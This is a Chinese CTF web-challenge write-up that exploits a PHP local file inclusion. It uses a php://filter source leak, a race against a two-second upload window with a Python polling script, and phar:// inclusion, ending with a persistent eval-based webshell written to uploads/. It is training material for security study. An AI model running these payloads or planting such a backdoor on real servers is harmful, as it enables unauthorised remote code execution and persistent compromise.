XCTF练习(一)
一道web题:链接
自己很多php姿势都不会, 这条题目摸了很久, 于是我把这道题目详细都记了下来。 参考了大神的writeup
打开题目地址一通查看, 发现这个页面比较可疑, 可能可以直接传一句话木马。
![](https://img.haomeiwen.com/i6784411/d38c6c89a83f0a58.png)
试传发现有过滤,换了一些绕过姿势, 发现即使上传成功, 获得了上传id 也没有办法访问图片,目录扫描发现uploads目录, 发现格式长得很像的图片, 说明图片名是经过处理的。这超出菜逼我的能力了, 于是就翻开writeup学姿势。
![](https://img.haomeiwen.com/i6784411/4cd64e6d77ccd1dd.png)
这题其实是LFI漏洞。
用姿势获得源码, 访问
http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-encode/resource=index
获得了index.php 文件的base64 编码。
PD9waHANCglyZXF1aXJlKCJoZWFkZXIucGhwIik7DQoJJHBhZ2U9IiI7DQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJJHBhZ2U9c3RydG9sb3dlcigkX0dFVFsncGFnZSddKTsNCgkJJHBhZ2U9c3RyX3JlcGxhY2UoIiMiLCAiIiwgJHBhZ2UpOw0KCQkkcGFnZT1zdHJfcmVwbGFjZSgiJyIsICIiLCAkcGFnZSk7DQoJCSRwYWdlPSRwYWdlLiIucGhwIjsNCgl9DQoJZWxzZQ0KCQkkcGFnZT0ibWFpbi5waHAiOw0KCWluY2x1ZGUoJHBhZ2UpOw0KPz4NCg==
解码获得index.php 源码
<?php
require("header.php");
$page="";
if (isset($_GET['page']))
{
$page=strtolower($_GET['page']);
$page=str_replace("#", "", $page);
$page=str_replace("'", "", $page);
$page=$page.".php";
}
else
$page="main.php";
include($page);
?>
发现将page参数中的 '#' 和 " ' "号作了过滤, 并且在尾部加上了".php" 的文件后缀。
同理获得upload.php 的源码
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
echo "hehe";
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
//echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
echo "图片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>
阅读源码, 首先有个过滤, $name1=substr($name,-4) 截取了后四位的文件名, 判断如果不是gif或者jpg就失败并且返回原页面。
然后通过 is_uploaded_file()函数 来判断该文件是否通过post 方式上传。
构造一个$time.$name1 的文件名, 通过move_uploaded_file()函数放到uploads 目录下, 成功了会sleep(2), 也就是说在这两秒内, 上传上去的原文件是以$time.$name1 的格式存在在uploads/ 这个目录下面的。如果没有index.php 中对page 参数的过滤处理, 是可以直接通过图片执行代码的。 在sleep(2) 之后, 系统会重新创建一个图片, 这时候不符合格式的图片会被重新生成, 图片里的代码也会消失。
这是原来的gif 图片:
![](https://img.haomeiwen.com/i6784411/37fe94b794ef4fc2.png)
通过代码重新创建:
<?php
$im = @imagecreatefromgif('img2.gif');
if(!$im)
{
/* Create a blank image */
$im = imagecreatetruecolor (150, 30);
$bgc = imagecolorallocate ($im, 255, 255, 255);
$tc = imagecolorallocate ($im, 0, 0, 0);
imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);
/* Output an error message */
imagestring ($im, 1, 5, 5, 'Error loading img.gif', $tc);
}
imagegif($im, 'heheda.gif');
imagedestroy($im);
?>
生成的heheda.gif:
![](https://img.haomeiwen.com/i6784411/75371aec0d7ff116.png)
可以发现图片里的代码段消失了。所以只能在这两秒时间内通过图片执行代码。
首先本地构造一个phar 文件包含webshell, 再改名为webshell.gif。
编写脚本获取该文件:
# -*- coding:utf-8 -*-
import requests
import re
import time
import copy
url = "http://202.112.51.217:8199/uploads/"
files=[]
files2=[]
vulname=''
def gettmpfile():
r = requests.get(url)
for line in r.content.split('\n'):
res = re.match('.*href=\"([\d]+\.[\w]+)\"', line)
try:
files.append(res.group(1))
except Exception, e:
pass
return len(files)
gettmpfile()
files2 = copy.copy(files)
files = []
tt = 0
found = False
while(not found):
time.sleep(1)
tmp = gettmpfile()
for x in files:
if x not in files2:
vulname = x
found= True
break
files2 = copy.copy(files)
files = []
执行脚本, 上传webshell.gif后 vulname 会返回刚刚上传的文件名。利用phar:// 去执行刚刚上传的脚本
url2 = "http://202.112.51.217:8199/index.php?page=phar://uploads/"+ vulname + "/cws"
r = requests.get(url2)
print r.content
因为文件只能存在两秒, 所以就想到写入一个长期存在的后门abc.php, 尝试了一下在主目录下是没有写权限的, 于是写在了uploads/ 目录下,脚本如下cwv.php:
<?php
if ($f=fopen("./uploads/abc.php", "w")){
echo "could open&write...";
fclose($f);
}
else{
echo "this file is not writable.....";
}
$f=fopen("./uploads/abc.php", "w");
$content = "<?php echo 'write the shell';@eval(\$_POST['ckey']); ?>";
fwrite($f, $content);
fclose($f);
$f=fopen("abc.php", "r");
?>
执行后的效果:
![](https://img.haomeiwen.com/i6784411/f51494a04db627c5.png)
发现成功上传, 利用菜刀连接成功。